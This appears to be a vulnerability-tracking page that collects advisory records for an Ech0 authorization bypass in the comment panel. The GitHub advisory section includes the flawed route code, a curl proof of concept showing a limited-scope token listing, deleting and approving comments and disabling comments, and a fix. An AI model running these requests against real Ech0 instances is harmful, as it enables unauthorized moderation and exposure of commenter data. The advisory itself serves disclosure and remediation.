Public mode

No access to your tenant or devices. Every item links to its source. What this means

Sources need attention Customize Public modeDiscuss ChangeIntel on Discord

Ech0 before 4.4.3 Authentication Bypass via Comment Panel

Exploitation and risk

Source status

CISA KEV lists vulnerabilities known to be exploited. FIRST EPSS estimates the likelihood of exploitation in the next 30 days. An unavailable score does not mean zero risk.

Which CVEs have scores here?

This view includes predictions for CVE identifiers explicitly listed in public NuGet advisories. Microsoft release pages have their own prediction coverage. Check source status for the scope and latest checks.

No exploitation or prediction data is available here for these CVEs. This does not mean they are safe or unlikely to be exploited.

cve-program · CVE-2026-79672

Published

Ech0 before 4.4.3 fails to enforce scope-based authorization on nine comment panel admin endpoints, allowing access tokens with minimal scopes to perform full comment moderation operations. Attackers with a limited-scope access token can list, approve, reject, delete comments, and modify comment system settings by directly accessing the unprotected panel endpoints.

Source published
25 Aug 2026 11:33:32 UTC
Source modified
25 Aug 2026 13:21:08 UTC
Saved here
23 Oct 2026 15:48:27 UTC
Source terms
CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

Source: cve-program · CVE Program Terms of Use. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS 4.0 · 7.0 CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N

CVSS 3.1 · 5.5 CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:H/A:N

euvd · EUVD-2026-65442

Published

Ech0 before 4.4.3 fails to enforce scope-based authorization on nine comment panel admin endpoints, allowing access tokens with minimal scopes to perform full comment moderation operations. Attackers with a limited-scope access token can list, approve, reject, delete comments, and modify comment system settings by directly accessing the unprotected panel endpoints.

Additional publisher context

EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.

Original publisher date fields

datePublished: Aug 25, 2026, 11:33:32 AM

dateUpdated: Aug 25, 2026, 1:21:08 PM

Source published
Aug 25, 2026, 11:33:32 AM (timezone not stated)
Source modified
Aug 25, 2026, 1:21:08 PM (timezone not stated)
Saved here
18 Nov 2026 04:39:25 UTC
Source terms
ENISA EUVD · source terms and attribution apply

Original source record · Cite this exact observation · Complete original publisher JSON

Source: euvd · ENISA EUVD · source terms and attribution apply. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

EUVD CVSS 4.0 · 7.0 CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N

nvd · CVE-2026-79672

Published

Ech0 before 4.4.3 fails to enforce scope-based authorization on nine comment panel admin endpoints, allowing access tokens with minimal scopes to perform full comment moderation operations. Attackers with a limited-scope access token can list, approve, reject, delete comments, and modify comment system settings by directly accessing the unprotected panel endpoints.

Additional publisher context

NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.

Source analysis status: Deferred

Weakness classifications: CWE-862

Original publisher date fields

published: 2026-08-25T12:16:35.537

lastModified: 2026-08-31T20:50:15.927

Source published
25 Aug 2026 12:16:35 UTC
Source modified
31 Aug 2026 20:50:15 UTC
Saved here
25 Oct 2026 16:19:10 UTC
Source terms
NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

Source: nvd · NIST NVD usage terms; underlying source attribution retained. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS 4.0 · [email protected] · Secondary · 7.0 CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

CVSS 3.1 · [email protected] · Secondary · 5.5 CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:H/A:N

osv · GHSA-fwg7-53p4-g33c

Published

## Summary All 9 comment panel admin endpoints (`/api/panel/comments/*`) are missing `RequireScopes()` middleware, while every other admin endpoint in the application enforces scope-based authorization on access tokens. An admin-issued access token scoped to minimal permissions (e.g., `echo:read` only) can perform full comment moderation operations including listing, approving, rejecting, deleting comments, and modifying comment system settings. ## Details The access token scope enforcement system works as follows: `JWTAuthMiddleware` (`internal/middleware/auth.go`) parses any valid JWT and injects a viewer into the request context. The `RequireScopes()` middleware (`internal/middleware/scope.go:14`) then checks whether the token is an access token and, if so, validates that it carries the required scopes. Session tokens are passed through without scope checks (by design — sessions represent full user authority). Every admin route group applies `RequireScopes()` per-handler: - `internal/router/echo.go` — uses `RequireScopes(ScopeEchoWrite)` / `RequireScopes(ScopeEchoRead)` - `internal/router/file.go` — uses `RequireScopes(ScopeFileRead)` / `RequireScopes(ScopeFileWrite)` - `internal/router/user.go` — uses `RequireScopes(ScopeAdminUser)` / `RequireScopes(ScopeProfileRead)` - `internal/router/setting.go` — uses `RequireScopes(ScopeAdminSettings)` / `RequireScopes(ScopeAdminToken)` However, `internal/router/comment.go:28-36` registers all 9 panel endpoints directly on `AuthRouterGroup` without any `RequireScopes()` call: ```go // internal/router/comment.go:28-36 appRouterGroup.AuthRouterGroup.GET("/panel/comments", h.CommentHandler.ListPanelComments()) appRouterGroup.AuthRouterGroup.GET("/panel/comments/:id", h.CommentHandler.GetCommentByID()) appRouterGroup.AuthRouterGroup.PATCH("/panel/comments/:id/status", h.CommentHandler.UpdateCommentStatus()) appRouterGroup.AuthRouterGroup.PATCH("/panel/comments/:id/hot", h.CommentHandler.UpdateCommentHot()) appRouterGroup.AuthRouterGroup.DELETE("/panel/comments/:id", h.CommentHandler.DeleteComment()) appRouterGroup.AuthRouterGroup.POST("/panel/comments/batch", h.CommentHandler.BatchAction()) appRouterGroup.AuthRouterGroup.GET("/panel/comments/settings", h.CommentHandler.GetCommentSetting()) appRouterGroup.AuthRouterGroup.PUT("/panel/comments/settings", h.CommentHandler.UpdateCommentSetting()) appRouterGroup.AuthRouterGroup.POST("/panel/comments/settings/test-email", h.CommentHandler.TestCommentEmail()) ``` The service layer's `requireAdmin()` (`internal/service/comment/comment.go:719-732`) only validates the user's database role (`IsAdmin`/`IsOwner`), not the token's scopes: ```go func (s *CommentService) requireAdmin(ctx context.Context) error { v := viewer.MustFromContext(ctx) if v == nil || strings.TrimSpace(v.UserID()) == "" { return commonModel.NewBizError(...) } user, err := s.commonService.CommonGetUserByUserId(ctx, v.UserID()) if err != nil { return err } if !user.IsAdmin && !user.IsOwner { return commonModel.NewBizError(...) } return nil } ``` The scopes `comment:read`, `comment:write`, and `comment:moderate` are defined in `internal/model/auth/scope.go:11-13` and registered as valid scopes, but are never referenced in any `RequireScopes()` middleware call anywhere in the codebase. **Execution flow:** Request with access token (scoped to `echo:read` only) → `JWTAuthMiddleware` extracts user ID, sets viewer → No `RequireScopes` middleware → Handler calls service → `requireAdmin()` checks `user.IsAdmin` (true for admin user) → Operation succeeds. ## PoC ```bash # 1. As admin, create an access token scoped ONLY to echo:read curl -X POST https://target/api/settings/access-tokens \ -H 'Authorization: Bearer <admin-session-token>' \ -H 'Content-Type: application/json' \ -d '{"name":"readonly","scopes":["echo:read"],"audience":["public-client"],"expiry_days":30}' # Save the returned token as $TOKEN # 2. Verify the token CANNOT access other admin endpoints (scoped correctly): curl https://target/api/settings \ -H "Authorization: Bearer $TOKEN" # Expected: 403 Forbidden (scope check blocks access) # 3. Use the same limited token to list ALL comments (including pending/rejected): curl https://target/api/panel/comments \ -H "Authorization: Bearer $TOKEN" # Expected: 200 OK with full comment list (bypasses scope enforcement) # 4. Delete a comment: curl -X DELETE https://target/api/panel/comments/<comment-id> \ -H "Authorization: Bearer $TOKEN" # Expected: 200 OK (should require comment:moderate scope) # 5. Approve/reject comments: curl -X PATCH https://target/api/panel/comments/<comment-id>/status \ -H "Authorization: Bearer $TOKEN" \ -H 'Content-Type: application/json' \ -d '{"status":"approved"}' # Expected: 200 OK (should require comment:moderate scope) # 6. Read comment system settings: curl https://target/api/panel/comments/settings \ -H "Authorization: Bearer $TOKEN" # Expected: 200 OK (may expose SMTP configuration) # 7. Disable the comment system entirely: curl -X PUT https://target/api/panel/comments/settings \ -H "Authorization: Bearer $TOKEN" \ -H 'Content-Type: application/json' \ -d '{"enable_comment":false}' # Expected: 200 OK (should require admin:settings scope) ``` ## Impact - **Principle of least privilege violation**: Access tokens designed to limit admin capabilities do not restrict comment panel access. An integration token intended only for reading echoes gains full comment moderation authority. - **Unauthorized comment moderation**: An attacker who compromises a limited-scope access token (e.g., a CI/CD token scoped to `echo:read`) can approve, reject, delete, and batch-modify all comments. - **Data exposure**: The panel comment listing endpoint returns commenter PII (email addresses, IP hashes, user agents) that should be restricted to tokens with `comment:read` scope. - **Settings modification**: Comment system settings (including potentially SMTP configuration) can be read and modified, and test emails can be triggered, which could leak mail server credentials. - **Scope**: The attack requires an admin-issued access token, which limits the attack surface (PR:H). However, access tokens are specifically designed for limited-privilege integrations, and this vulnerability negates those limits for the entire comment subsystem. ## Recommended Fix Add `RequireScopes()` middleware to all comment panel routes in `internal/router/comment.go`: ```go func setupCommentRoutes(appRouterGroup *AppRouterGroup, h *handler.Bundle) { // ... captcha and public routes unchanged ... // Admin Panel — enforce scopes on access tokens appRouterGroup.AuthRouterGroup.GET("/panel/comments", middleware.RequireScopes(authModel.ScopeCommentRead), h.CommentHandler.ListPanelComments()) appRouterGroup.AuthRouterGroup.GET("/panel/comments/:id", middleware.RequireScopes(authModel.ScopeCommentRead), h.CommentHandler.GetCommentByID()) appRouterGroup.AuthRouterGroup.PATCH("/panel/comments/:id/status", middleware.RequireScopes(authModel.ScopeCommentMod), h.CommentHandler.UpdateCommentStatus()) appRouterGroup.AuthRouterGroup.PATCH("/panel/comments/:id/hot", middleware.RequireScopes(authModel.ScopeCommentMod), h.CommentHandler.UpdateCommentHot()) appRouterGroup.AuthRouterGroup.DELETE("/panel/comments/:id", middleware.RequireScopes(authModel.ScopeCommentMod), h.CommentHandler.DeleteComment()) appRouterGroup.AuthRouterGroup.POST("/panel/comments/batch", middleware.RequireScopes(authModel.ScopeCommentMod), h.CommentHandler.BatchAction()) appRouterGroup.AuthRouterGroup.GET("/panel/comments/settings", middleware.RequireScopes(authModel.ScopeAdminSettings), h.CommentHandler.GetCommentSetting()) appRouterGroup.AuthRouterGroup.PUT("/panel/comments/settings", middleware.RequireScopes(authModel.ScopeAdminSettings), h.CommentHandler.UpdateCommentSetting()) appRouterGroup.AuthRouterGroup.POST("/panel/comments/settings/test-email", middleware.RequireScopes(authModel.ScopeAdminSettings), h.CommentHandler.TestCommentEmail()) } ```

Source published
10 Apr 2026 19:49:20 UTC
Source modified
27 Aug 2026 04:10:37 UTC
Saved here
24 Oct 2026 13:19:41 UTC
Source terms
GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

Source: osv · GitHub Advisory Database · CC-BY-4.0. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:H/A:N

Publisher rating · MODERATE

osv · GO-2026-5382

Published

Ech0 Comment Panel Endpoints Missing RequireScopes Middleware — Scoped Access Token Bypass in github.com/lin-snow/ech0. NOTE: The source advisory for this report contains additional versions that could not be automatically mapped to standard Go module versions. (If this is causing false-positive reports from vulnerability scanners, please suggest an edit to the report.) The additional affected modules and versions are: github.com/lin-snow/ech0 before v4.4.3.

Source published
25 Jun 2026 18:43:19 UTC
Source modified
27 Aug 2026 04:10:37 UTC
Saved here
24 Oct 2026 13:19:41 UTC
Source terms
OSV · upstream source license applies

Original source record · Cite this exact observation · Complete original publisher JSON

Source: osv · OSV · upstream source license applies. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

ChangeIntel

An IT change radar: releases, security, known issues, retirements, documentation changes, and service status from public sources. Every item links to supporting evidence; dates and statuses can change after they are read.

Sources read 20 Nov 04:42 UTC · 272 of 275 readable · 268 fully read · documentation 469/469 current